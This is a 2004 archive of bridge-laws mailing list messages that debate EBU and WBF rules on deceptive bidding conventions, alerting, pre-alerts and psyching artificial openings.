[mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Sunday, 25 July 2004 11:48 p.m. > To: blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > Noel and Pamela wrote > >Sorry David - this is crap! It's all alertable - even > pre-alertable. I'd > >never be deceived, unless they didn't alert. > > I am pleased that you are so much better than the majority > of players. > However, I like ot protect the lesser players as well. Of course, we > have no pre-alerting here. But if we did would you really listen to > this pair as they explained ***every single thing they played of this > sort***? > If you don't like pre-alerting then perhaps disclosure of this method after the auction and before the opening lead would be appropriate. Wayne From blml@blakjak.com Sun Jul 25 15:35:22 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 25 Jul 2004 15:35:22 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <002c01c47227$58580130$5a81b6d4@LNV> References: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> <002c01c47227$58580130$5a81b6d4@LNV> Message-ID: Ton Kooijman wrote >> Sorry David - this is crap! It's all alertable - even pre-alertable. I'd >> never be deceived, unless they didn't alert. >> >> Any players/partnership worth their/its salt will have defensive methods >> available to stop this from causing a problem. >Well, well: 'Crap' for such modest man. David is right that a pair bidding >as he described gets undeserved advantages that should not be allowed. >But then others are right expressing their doubts about the regulation the >EBU has made to prevent this. It is a non-bridge approach to a non-bridge >attitude in my opinion. And how to make a distinction between agreements >with the main purpose to deceive opponents and those with better reasons? Why is it a non-bridge approach? The English regulations allow some conventions ot be played, others not. Explain why disallowing this type of convention is not a bridge approach to which ones we allow, please. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From adam@tameware.com Sun Jul 25 17:12:01 2004 From: adam@tameware.com (Adam Wildavsky) Date: Sun, 25 Jul 2004 12:12:01 -0400 Subject: [blml] AC performance (was Reno ... four) In-Reply-To: References: Message-ID: At 6:48 AM +0100 7/24/04, David Stevenson wrote: >The chance of an AC over-ruling a TD because of a different Law is >infinitesimal. The application of Law is the province of the TD and >not the AC. There is no reason for an AC to quote Law numbers. I do not think that the casebooks you've edited bear this out. Ideally the TD would always know the applicable law and would cite it. Sometimes, for better or worse, the AC knows the laws better than the TD, or the AC is willing to open the law book while the TD did not bother to do so. I agree that when an AC decides to apply a different law or laws than the TD they ought to confirm their decision with the TD before reporting it to the players. But then, I think the AC ought to confirm every decision with the TD before reporting it to the players. That said, ACs almost never do this in my experience, and TDs almost never insist upon it. I am as guilty as anyone here, since I do not as a rule consult the TD before rendering a decision even when I chair the AC. I would like to see every AC report on the law or laws they use. In time we could conclude that if they do not cite a law it means that they used the same law or laws cited by the TD. At the moment I know of no jurisdiction that follows proper procedures nearly often enough that readers of the case write-ups can validly draw that conclusion. -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com http://www.tameware.com From grandeval@vejez.fsnet.co.uk Sun Jul 25 13:03:42 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Sun, 25 Jul 2004 13:03:42 +0100 Subject: [blml] Deceiving and destroying References: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> <000101c47222$5b25b970$b5934c51@yourtkrv58tbs0> <003f01c47227$ccd5ef40$5a81b6d4@LNV> Message-ID: <001a01c4726f$bdb10d90$667d893e@yourtkrv58tbs0> grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "Comment is free but facts are on expenses." ~ Tom Stoppard ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message ----- From: "Ton Kooijman" To: Sent: Sunday, July 25, 2004 10:14 AM Subject: Re: [blml] Deceiving and destroying > > No doubt there are numbers of players who > > see no malice in psyching an artificial opening bid. > > However, this is a view with which some major > > authorities disagree. For example, such a prohibition > > is likely to be found, I believe, in the Conditions of > > Contest for the Olympiad. > > ~ Grattan ~ +=+ > > > > > Don't be proud of it please, > > ton > +=+ Proud of it? Why should I be proud of it? The initiative does not come from me. However, it is a regulation that both the EBL and the ACBL have adopted and therefore I consider it has an honourable pedigree. As I hear, apart from the intention for Istanbul there is a further proposal from a distinguished source that it should be extended in the Systems Policy to all categories of tournament. I have not made my mind up about this last proposal but I do favour the regulation in those categories to which it is to be applied in the CoCs for the Olympiad ~ Grattan ~ +=+ From gordon@gordonrainsford.co.uk Sun Jul 25 19:01:41 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sun, 25 Jul 2004 19:01:41 +0100 Subject: [blml] Undiscussed alerts & anti-systemic alerts In-Reply-To: References: <3F388772-DD5C-11D8-8329-0003936A6522@gordonrainsford.co.uk> <12D7EA9B-DD7D-11D8-8329-0003936A6522@gordonrainsford.co.uk> Message-ID: On 25 Jul 2004, at 02:24, David Stevenson wrote: > Well, I think that it might be helpful if the heading Appeals > included it in the main page, especially as that one is the normally > quoted reference. Yes, it would. > > OK, thanks, I shall have a word with the webmistress. I suppose you > cannot find the one on the WBU site just to prove I could not find > that either when it is there? No, I had a look in both the obvious places, and it doesn't seem to be there. -- Gordon Rainsford London UK From gordon@gordonrainsford.co.uk Sun Jul 25 19:04:35 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sun, 25 Jul 2004 19:04:35 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> References: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> Message-ID: <169CAD4C-DE65-11D8-8D57-0003936A6522@gordonrainsford.co.uk> On 25 Jul 2004, at 06:25, Noel and Pamela wrote: > Sorry David - this is crap! It's all alertable - even pre-alertable. > I'd > never be deceived, unless they didn't alert. > > Any players/partnership worth their/its salt will have defensive > methods > available to stop this from causing a problem. > > regards, > Noel You obviously assume a different set of alerting regulations from those in force in the jurisdiction where the example comes from. In the EBU there are no pre-alerts. In the EBU transfer bids and completions are alertable. -- Gordon Rainsford London UK From TG0JLH1@wpo.cso.niu.edu Sun Jul 25 05:15:24 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Sat, 24 Jul 2004 23:15:24 -0500 Subject: [blml] Deceiving and destroying Message-ID: >>> David Stevenson 7/24/2004 8:34:12 PM >>> James Hudson wrote >The Orange Book, 9.1.4., forbids the use of a convention whose main >benefit is to deceive the opponents about the length or strength of a >suit or the strength of the hand. I do not understand this provision. >A convention is a partnership agreement to attach a certain meaning to a >certain call. This meaning is conveyed to partner, to the opponents, to >the kibitzers--to anyone who is present and has been informed about the >convention. Any *deception* would be practiced equally on the opponents >and on partner. But how can one have a *conventional agreement* with >one's partner to deceive *him*? The wording says "deceive the opponents" not deceive partner. It looks clear enough to me. -------------------- (Hudson:) This answer does not address my question. How can you deceive the opponents without deceiving partner, when both the opponents and partner are privy to the conventional meaning of your bid (or other action)? -------------------- (Stevenson:) You want an example? OK. 1NT 2D [forces 2H] 2H 2NT There was a pair that played this as showing a five card spade suit and game try values. 1NT 2H [forces 2S] 2S 2NT This showed five hearts and game try values. Furthermore 1NT 2D [forces 2H] 2H 3NT and 1NT 2H [forces 2S] 2S 3NT both *required* partner to pass. There was no technical merit in any of this: they played it so as to confuse the opponents, especially to get favourable opening leads. Of course they explained it if asked, but how many people ask on these sequences? So their only reason to play this was that it "deceived the opponents about the length of a suit". ------------------------------- (Hudson:) *Confusing* is not the same as *deceiving*. The method you describe should be forbidden (except in a long knockout match at a high level) because it is *highly unusual*. It does not *deceive* anyone who takes the trouble to learn its content. Therefore it is a doubtful illustrative example. The regulation seems to be aiming at something other than merely forbidding highly unusual methods--it seems to have in mind methods that are thought to be somehow *dirty*, not merely unfamiliar, complex, and a nuisance to have to plan a defense to. --------------------------------- (Stevenson:) We do not bar a method because it is destructive per se. We may not permit what the ACBL consider a destructive method, but we do not have an overall reg of that type. For example, the ACBL considers a four-card opening pre-empt at the 3-level a destructive convention: we permit such openings. --------------------------------- (Hudson:) Can you offer any insight into the application of the term 'destroy' to *methods*? It cannot mean the same as 'render ineffective', for that would make the ACBL regulation surpassingly silly (surely unthinkable). The only possibly valid objection that I can see to 4-card 3-level pre-empts is, again, the fact that they are *highly unusual*, and the average player would not be prepared to cope with them. If the lesson is that these regulations are really just aimed at highly unusual methods (in spite of appearances to the contrary), I shall cease to worry about them. Jim Hudson From TG0JLH1@wpo.cso.niu.edu Sun Jul 25 19:46:43 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Sun, 25 Jul 2004 13:46:43 -0500 Subject: [blml] Deceiving and destroying Message-ID: >>> David Stevenson 7/24/2004 8:34:12 PM >>> James Hudson wrote >The Orange Book, 9.1.4., forbids the use of a convention whose main >benefit is to deceive the opponents about the length or strength of a >suit or the strength of the hand. I do not understand this provision. >A convention is a partnership agreement to attach a certain meaning to a >certain call. This meaning is conveyed to partner, to the opponents, to >the kibitzers--to anyone who is present and has been informed about the >convention. Any *deception* would be practiced equally on the opponents >and on partner. But how can one have a *conventional agreement* with >one's partner to deceive *him*? The wording says "deceive the opponents" not deceive partner. It looks clear enough to me. -------------------- (Hudson:) This answer does not address my question. How can you deceive the opponents without deceiving partner, when both the opponents and partner are privy to the conventional meaning of your bid (or other action)? -------------------- (Stevenson:) You want an example? OK. 1NT 2D [forces 2H] 2H 2NT There was a pair that played this as showing a five card spade suit and game try values. 1NT 2H [forces 2S] 2S 2NT This showed five hearts and game try values. Furthermore 1NT 2D [forces 2H] 2H 3NT and 1NT 2H [forces 2S] 2S 3NT both *required* partner to pass. There was no technical merit in any of this: they played it so as to confuse the opponents, especially to get favourable opening leads. Of course they explained it if asked, but how many people ask on these sequences? So their only reason to play this was that it "deceived the opponents about the length of a suit". ------------------------------- (Hudson:) *Confusing* is not the same as *deceiving*. The method you describe should be forbidden (except in a long knockout match at a high level) because it is *highly unusual*. It does not *deceive* anyone who takes the trouble to learn its content. Therefore it is a doubtful illustrative example. The regulation seems to be aiming at something other than merely forbidding highly unusual methods--it seems to have in mind methods that are thought to be somehow *dirty*, not merely unfamiliar, complex, and a nuisance to have to plan a defense to. --------------------------------- (Stevenson:) We do not bar a method because it is destructive per se. We may not permit what the ACBL consider a destructive method, but we do not have an overall reg of that type. For example, the ACBL considers a four-card opening pre-empt at the 3-level a destructive convention: we permit such openings. --------------------------------- (Hudson:) Can you offer any insight into the application of the term 'destroy' to *methods*? It cannot mean the same as 'render ineffective', for that would make the ACBL regulation surpassingly silly (surely unthinkable). The only possibly valid objection that I can see to 4-card 3-level pre-empts is, again, the fact that they are *highly unusual*, and the average player would not be prepared to cope with them. If the lesson is that these regulations are really just aimed at highly unusual methods (in spite of appearances to the contrary), I shall cease to worry about them. Jim Hudson From blml@blakjak.com Sun Jul 25 21:11:03 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 25 Jul 2004 21:11:03 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <004f01c47241$60c943a0$0401010a@Desktop> References: <3z5SQJmv35ABFwKS@blakjak.demon.co.uk> <004f01c47241$60c943a0$0401010a@Desktop> Message-ID: Wayne Burrows wrote >> Noel and Pamela wrote >> >Sorry David - this is crap! It's all alertable - even >> pre-alertable. I'd >> >never be deceived, unless they didn't alert. >> >> I am pleased that you are so much better than the majority >> of players. >> However, I like ot protect the lesser players as well. Of course, we >> have no pre-alerting here. But if we did would you really listen to >> this pair as they explained ***every single thing they played of this >> sort***? >If you don't like pre-alerting then perhaps disclosure of this method >after the auction and before the opening lead would be appropriate. It is not a question of what I like. It is a question of how the game is run under this jurisdiction. Why on earth should a pair that is trying to gain an unfair advantage while pretending it is in the rules do anything helpful that they are not forced to? No doubt there are various solutions to the problem. We have produced one and are told "this is crap" and "a non-bridge solution" -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Sun Jul 25 23:36:12 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 26 Jul 2004 08:36:12 +1000 Subject: [blml] Deceiving and destroying Message-ID: David Stevenson: [snip] >>You want an example? OK. >> >>1NT 2D [forces 2H] >>2H 2NT >> >>There was a pair that played this as showing a >>five card spade suit and game try values. >> >>1NT 2H [forces 2S] >>2S 2NT >> >>This showed five hearts and game try values. >> >>Furthermore >> >>1NT 2D [forces 2H] >>2H 3NT >> >>and >> >>1NT 2H [forces 2S] >>2S 3NT >> >>both *required* partner to pass. >> >>There was no technical merit in any of this: >>they played it so as to confuse the >>opponents, especially to get favourable >>opening leads. Of course they explained it >>if asked, but how many people ask on these >>sequences? [snip] Ton Kooijman: >Well, well: 'Crap' for such modest man. David >is right that a pair bidding as he described >gets undeserved advantages that should not be >allowed. But then others are right expressing >their doubts about the regulation the EBU has >made to prevent this. It is a non-bridge >approach to a non-bridge attitude in my >opinion. And how to make a distinction between >agreements with the main purpose to deceive >opponents and those with better reasons? > >Instruct this pair to explicitly explain this >agreement before play. Richard Hills: I agree with Ton. Such an agreement by such a pseudo-clever pair would be futile in Australia. This is because Australia's alert regulations include a strong *pre*-alert requirement. Rather than gaining an unfair advantage by opponents assuming that an alert carried the normal transfer meaning, in Australia the pseudo-transferring pair would be required to inform each set of opponents of their deceptive gimmick at the start of each round. Ton Kooijman: >Or better - once in a while we seem to do well >in my federation - don't alert a normal >transfer anymore. > >Thinking about this, I should try to get the >multi 2D bid in this non-alertable group. A >couple of weeks ago I was 'deceived' by an >alerted 2D showing both majors. > >ton Richard Hills: 2D showing both majors is quite popular amongst young (and young-at-heart) Aussie players. But again, such an unusual 2D is required to be *pre*-alerted, so Ton would not have been "deceived" if Ton encountered such an offbeat alertable 2D in an Aussie event. Actually, all Aussie 2-bids are offbeat. In fact, only the onbeat Flannery 2D is unusual in Australia. :-) Best wishes RJH From richard.hills@immi.gov.au Sun Jul 25 23:50:44 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 26 Jul 2004 08:50:44 +1000 Subject: [blml] Deceiving and destroying Message-ID: [snip] >>> No doubt there are numbers of players who >>>see no malice in psyching an artificial opening bid. >>>However, this is a view with which some major >>>authorities disagree. For example, such a prohibition >>>is likely to be found, I believe, in the Conditions of >>>Contest for the Olympiad. >>> ~ Grattan ~ +=+ >>Don't be proud of it please, >> >>ton >+=+ Proud of it? Why should I be proud of it? >The initiative does not come from me. However, >it is a regulation that both the EBL and the >ACBL have adopted and therefore I consider it >has an honourable pedigree. [snip] In a Bridge World editorial many years ago, Edgar Kaplan revealed the dishonourable pedigree of this prohibition on psyching an artificial opening bid. Apparently, in the 1950s, a top ACBL expert psyched a strong 2C opening against another top ACBL expert, earned a good board, but then made the mistake of gloating about the good board. Unfortunately, the humiliated ACBL expert had a secondary role, as a member of the ACBL Board of Directors. He ensured that he could never again be humiliated in this way, by arranging for the prohibition of psyching of artificial opening bids. Of course, us ex-convicts in Australia are less effete than the ACBL and the EBL. Aussies are still permitted to psyche artificial opening bids, with the usual Law 40B caveat on over-frequent pseudo-psyches being defined as implicit concealed partnership agreements. :-) Best wishes Richard Hills From grandeval@vejez.fsnet.co.uk Mon Jul 26 00:13:19 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Mon, 26 Jul 2004 00:13:19 +0100 Subject: [blml] Deceiving and destroying References: Message-ID: <000201c4729d$46e12a50$8cbf87d9@yourtkrv58tbs0> grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "Comment is free but facts are on expenses." ~ Tom Stoppard ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message ----- From: To: Sent: Sunday, July 25, 2004 11:50 PM Subject: Re: [blml] Deceiving and destroying > > >+=+ Proud of it? Why should I be proud of it? > >The initiative does not come from me. However, > >it is a regulation that both the EBL and the > >ACBL have adopted and therefore I consider it > >has an honourable pedigree. > > [snip] > > In a Bridge World editorial many years ago, Edgar Kaplan > revealed the dishonourable pedigree of this prohibition > on psyching an artificial opening bid. > > Apparently, in the 1950s, a top ACBL expert psyched a > strong 2C opening against another top ACBL expert, earned > a good board, but then made the mistake of gloating about > the good board. > +=+ However, this reported occurrence had no relevance in the adoption of the EBL regulation which, like the WBF CoC, applies to all artificial openings, not to strong artificial openings only. ~ G ~ +=+ From richard.hills@immi.gov.au Mon Jul 26 00:46:31 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 26 Jul 2004 09:46:31 +1000 Subject: [blml] Deceiving and destroying Message-ID: Richard Hills: >>In a Bridge World editorial many years ago, Edgar Kaplan >>revealed the dishonourable pedigree of this prohibition >>on psyching an artificial opening bid. >> >>Apparently, in the 1950s, a top ACBL expert psyched a >>strong 2C opening against another top ACBL expert, earned >>a good board, but then made the mistake of gloating about >>the good board. Grattan Endicott: >+=+ However, this reported occurrence had no relevance >in the adoption of the EBL regulation which, like the WBF >CoC, applies to all artificial openings, not to strong >artificial openings only. ~ G ~ +=+ Richard Hills: It is an easy solution to illegally prohibit psyches. A better solution - of recording and taking action against CPU pseudo-psyches - is rejected because, although legal, it is too much like hard work for most SOs (with a few honourable exceptions such as the Australian SO). In response to Grattan's assertion of "no relevance", I make these twin responses -> (a) The (dishonourably pedigreed) ACBL policy served as a precedent for the WBF CoC. (b) A specific (dishonourable pedigree) for the new WBF CoC appears in the "Guidelines for Rulings" appendix to the current version of the WBF Code of Practice. See attached. Best wishes RJH * * * Guidelines for Rulings - 1 Psychic action based upon a partnership understanding. A WBF appeals committee considered a case where a partnership had twice, a few rounds apart, taken psychic action by opening a Multi-2D and passing partner's response of Two in a major suit although the opener held in fact a weak two in the other major. On each occasion opponents were vulnerable and the psychic pair not vulnerable, and the opener held a weak two of scant values. The Committee was not confident that the partnership had developed an understanding before the second psychic occurred, but found that there is certainly a partnership understanding now that this distinctive form of psychic has occurred twice. The understanding will be deemed to continue for this partnership; they must disclose it on the convention card in any future WBF Tournaments if the psychic action may occur. The Code of Practice Group recognizes that it will be unusual for an appeals committee to make a confident finding of a partnership understanding when only one previous psychic of the type is on record. It agrees that paragraph (b) on page 13 relates to very infrequent situations where exceptional facts emerge. However, light has recently fallen on two circumstances in either of which it could well be ruled that a partnership understanding exists after the first occasion on which the psychic occurs in the partnership: both players play regularly in a particular bridge club where psychics of the kind are often met with; one of the players has acknowledged his disposition to such psychics, as has occurred on the internet, and the other has knowledge of the admission. From blml@blakjak.com Mon Jul 26 01:46:37 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 26 Jul 2004 01:46:37 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: References: Message-ID: James Hudson wrote >>>> David Stevenson 7/24/2004 8:34:12 PM >>> >(Hudson:) *Confusing* is not the same as *deceiving*. The method you >describe should be forbidden (except in a long knockout match at a high >level) because it is *highly unusual*. It does not *deceive* anyone who >takes the trouble to learn its content. Therefore it is a doubtful >illustrative example. The regulation seems to be aiming at something >other than merely forbidding highly unusual methods--it seems to have in >mind methods that are thought to be somehow *dirty*, not merely >unfamiliar, complex, and a nuisance to have to plan a defense to. When you know that players will not ask you to explain a familiar sounding sequence then to deliberately play it to gain from that is to gain by deception. You say "It does not *deceive* anyone who takes the trouble to learn its content". Exactly: its intent is to deceive those who do not. I think we should worry about the poorer players in this game, not tailor our regs to the enjoyment of the better players. >(Stevenson:) We do not bar a method because it is >destructive per se. We may not permit what the ACBL consider a >destructive method, but we do not have an overall reg of that type. >For >example, the ACBL considers a four-card opening pre-empt at the 3-level > >a destructive convention: we permit such openings. > >--------------------------------- > >(Hudson:) Can you offer any insight into the application of the term >'destroy' to *methods*? It cannot mean the same as 'render >ineffective', for that would make the ACBL regulation surpassingly silly >(surely unthinkable). > >The only possibly valid objection that I can see to 4-card 3-level >pre-empts is, again, the fact that they are *highly unusual*, and the >average player would not be prepared to cope with them. > >If the lesson is that these regulations are really just aimed at highly >unusual methods (in spite of appearances to the contrary), I shall cease >to worry about them. My comments were on an EBU reg. The totally different ACBL reg has never made much sense to me, so I do not feel that I am the person to answer it. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From grandeval@vejez.fsnet.co.uk Mon Jul 26 07:09:48 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Mon, 26 Jul 2004 07:09:48 +0100 Subject: [blml] Deceiving and destroying References: Message-ID: <000201c472d7$53a628f0$809787d9@yourtkrv58tbs0> grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "Comment is free but facts are on expenses." ~ Tom Stoppard ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message ----- From: To: Sent: Monday, July 26, 2004 12:46 AM Subject: Re: [blml] Deceiving and destroying > > > In response to Grattan's assertion of "no relevance", > I make these twin responses -> > > (a) The (dishonourably pedigreed) ACBL policy > served as a precedent for the WBF CoC. > +=+ No the initiative came from Zone 1 and the Rules & Regulations Chairman is from Zone 3 +=+ From gesta@tiscali.co.uk Mon Jul 26 07:26:39 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Mon, 26 Jul 2004 07:26:39 +0100 Subject: [blml] Deceiving and destroying References: Message-ID: <001101c472d9$a150e700$49e0403e@multivisionoem> Grattan Endicott To: Sent: Monday, July 26, 2004 12:46 AM Subject: Re: [blml] Deceiving and destroying > > > Richard Hills:: > > It is an easy solution to illegally prohibit psyches. > +=+ The word 'illegally' reflects an opinion you share with Ton Kooijman. However, repeatedly over the years the responsible authorities have confirmed the legality of this exercise of the powers given in Law 40D and its precedents. I respect your opinion but disagree with it. In my view the meaning of the law is incontrovertibly as the authorities have interpreted it. ~ Grattan ~ +=+ From hermandw@hdw.be Mon Jul 26 08:39:15 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 26 Jul 2004 09:39:15 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: <4104B523.7040501@hdw.be> Well Ed, if that's the case ... Ed Reppert wrote: > > On Sunday, Jul 25, 2004, at 07:13 US/Eastern, Herman De Wael wrote: > >> Well Ed, you just go on playing your bridge game the way you want it. >> I prefer to tell my opponents a little more useful information than to >> try and gain in a committee. > ... then surely you owe me some more effort. We've known one another for a long time already now, and you've never before indicated you don't think I'm sane. So there must be a misunderstanding somewhere. You're feeling attacked in your honour. How dare I suggest that you'd commit the crime of concealment of partnership understanding! Well, I'm not the one saying that some things should not be revealed, you are. So either you stick by your guns and accept that I explain more than you, or you lay down your arms and agree that we both explain just as much. But in that second case, stop harrassing me for ruling that some things are partnership understanding when you believe they are not. OK? > > It's when you make statements like this, Herman, that I seriously > considering ignoring everything you may say in future. :( > > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From t.kooyman@worldonline.nl Mon Jul 26 10:40:07 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Mon, 26 Jul 2004 11:40:07 +0200 Subject: [blml] Deceiving and destroying References: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> <002c01c47227$58580130$5a81b6d4@LNV> Message-ID: <004401c472f4$91f97d10$ae81b6d4@LNV> > Ton Kooijman wrote > > >> Sorry David - this is crap! It's all alertable - even pre-alertable. I'd > >> never be deceived, unless they didn't alert. > >> > >> Any players/partnership worth their/its salt will have defensive methods > >> available to stop this from causing a problem. > > >Well, well: 'Crap' for such modest man. David is right that a pair bidding > >as he described gets undeserved advantages that should not be allowed. > >But then others are right expressing their doubts about the regulation the > >EBU has made to prevent this. It is a non-bridge approach to a non-bridge > >attitude in my opinion. And how to make a distinction between agreements > >with the main purpose to deceive opponents and those with better reasons? > > Why is it a non-bridge approach? The English regulations allow some > conventions ot be played, others not. Explain why disallowing this type > of convention is not a bridge approach to which ones we allow, please. You follow a wrong approach in my opinion. Shooting the locust plague with single bullets I don't mind a pair playing this kind of transfers, as long as they play it honestly. What do you do if a pair uses this convention and tells its opponent about it before starting play? Do you allow me to say that there are no deceiving conventions, but only deceiving players? And deceiving players should not be allowed to play. Be brave and use L40B to throw them out. Or introduce something I really would like to try out. Let players tell what the meaning of the calls is in the first two bidding rounds. In the European mixed in Bordeaux an English pair (probably more than one) played 10 - 12 1NT openings and their opponents felt deceived. (The regulations did not make clear that this 1NT should be alerted, and it wasn't) . After the ruling which I don't remember anymore, I told this pair to alert this 1NT. And then they told me that they refused to do that. There was no obligation to do so, they said. It took some time to explain them that my instruction made it an obligation for them to alert this call. It never occurred to me to forbid them to play this opening bid. ton From wayne.burrows@xtra.co.nz Mon Jul 26 12:53:09 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Mon, 26 Jul 2004 23:53:09 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <001101c472d9$a150e700$49e0403e@multivisionoem> Message-ID: <009401c47307$1f45a600$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of gesta@tiscali.co.uk > Sent: Monday, 26 July 2004 6:27 p.m. > To: blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > > Grattan Endicott [also grandeval@vejez.fsnet.co.uk] > +++++++++++++++++++++++++++++. > "The lawyers may revere that tree > Where thieves so oft have swung, > Since, by the Law's most wise decree, > HER thieves are never hung." > Robert Fergusson > #=#=#=#=#=#=#=#=#=#=#=#=#=#=#=# > ----- Original Message ----- > From: > To: > Sent: Monday, July 26, 2004 12:46 AM > Subject: Re: [blml] Deceiving and destroying > > > > > > > > Richard Hills:: > > > > It is an easy solution to illegally prohibit psyches. > > > +=+ The word 'illegally' reflects an opinion you share > with Ton Kooijman. However, repeatedly over the > years the responsible authorities have confirmed the > legality of this exercise of the powers given in Law 40D > and its precedents. > I respect your opinion but disagree with it. In my view > the meaning of the law is incontrovertibly as the authorities > have interpreted it. ~ Grattan ~ +=+ If it were incontrovertible then the regulations would not be disallowing what is specifically allowed by L40A. Wayne From wayne.burrows@xtra.co.nz Mon Jul 26 13:02:18 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 27 Jul 2004 00:02:18 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <004401c472f4$91f97d10$ae81b6d4@LNV> Message-ID: <009501c47308$669aa540$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Ton Kooijman > Sent: Monday, 26 July 2004 9:40 p.m. > To: blml@rtflb.org; David Stevenson > Subject: Re: [blml] Deceiving and destroying > > > > > Ton Kooijman wrote > > > > >> Sorry David - this is crap! It's all alertable - even > pre-alertable. > I'd > > >> never be deceived, unless they didn't alert. > > >> > > >> Any players/partnership worth their/its salt will have defensive > methods > > >> available to stop this from causing a problem. > > > > >Well, well: 'Crap' for such modest man. David is right that a pair > bidding > > >as he described gets undeserved advantages that should not > be allowed. > > >But then others are right expressing their doubts about > the regulation > the > > >EBU has made to prevent this. It is a non-bridge approach > to a non-bridge > > >attitude in my opinion. And how to make a distinction > between agreements > > >with the main purpose to deceive opponents and those with > better reasons? > > > > Why is it a non-bridge approach? The English > regulations allow some > > conventions ot be played, others not. Explain why > disallowing this type > > of convention is not a bridge approach to which ones we > allow, please. > > You follow a wrong approach in my opinion. Shooting the > locust plague with > single bullets > > I don't mind a pair playing this kind of transfers, as long > as they play it > honestly. What do you do if a pair uses this convention and tells its > opponent about it before starting play? > Do you allow me to say that there are no deceiving > conventions, but only > deceiving players? And deceiving players should not be > allowed to play. Be > brave and use L40B to throw them out. This law indeed covers this case. Therefore there is no need to make a regulation to cover the same situation. > > Or introduce something I really would like to try out. Let > players tell what > the meaning of the calls is in the first two bidding rounds. > > In the European mixed in Bordeaux an English pair (probably > more than one) > played 10 - 12 1NT openings and their opponents felt deceived. (The > regulations did not make clear that this 1NT should be alerted, and it > wasn't) . After the ruling which I don't remember anymore, I > told this pair > to alert this 1NT. And then they told me that they refused to > do that. There > was no obligation to do so, they said. It took some time to > explain them > that my instruction made it an obligation for them to alert > this call. It > never occurred to me to forbid them to play this opening bid. If the regulation does not make it obligatory to alert then it is not up to the TD to make a regulation. The TD should be ruling on the regulations as he finds them not adding or subtracting from them. IMO that is an abuse of the TDs power. I would assume if the regulations don't say to alert then this was the intention of the regulators. Presumably this pair met its disclosure requirements by marking their convention card appropriately. Wayne From t.kooyman@worldonline.nl Mon Jul 26 14:37:02 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Mon, 26 Jul 2004 15:37:02 +0200 Subject: [blml] Deceiving and destroying References: <009501c47308$669aa540$0401010a@Desktop> Message-ID: <00a901c47315$a539c2b0$ae81b6d4@LNV> > If the regulation does not make it obligatory to alert then it > is not up to the TD to make a regulation. The TD should be ruling > on the regulations as he finds them not adding or subtracting from > them. IMO that is an abuse of the TDs power. > > I would assume if the regulations don't say to alert then this was > the intention of the regulators. In practise things are not as black or white as you suggest. The regulations for ebl and wbf events about alerting stil say something as is said in L40: conventional bids or natural bids that might surprise the opponents. So we need interpretation. And isn't it the job of the TD to do so? You had been right if things were as clear as they are in L40A about psyching, as you told us in your other message, but nowhere in the regulations it says that NT-bids whatever their range shouldn't be alerted. ton > > Presumably this pair met its disclosure requirements by marking their > convention card appropriately. > > Wayne > > From john@asimere.com Mon Jul 26 15:04:50 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 26 Jul 2004 15:04:50 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <00a901c47315$a539c2b0$ae81b6d4@LNV> References: <009501c47308$669aa540$0401010a@Desktop> 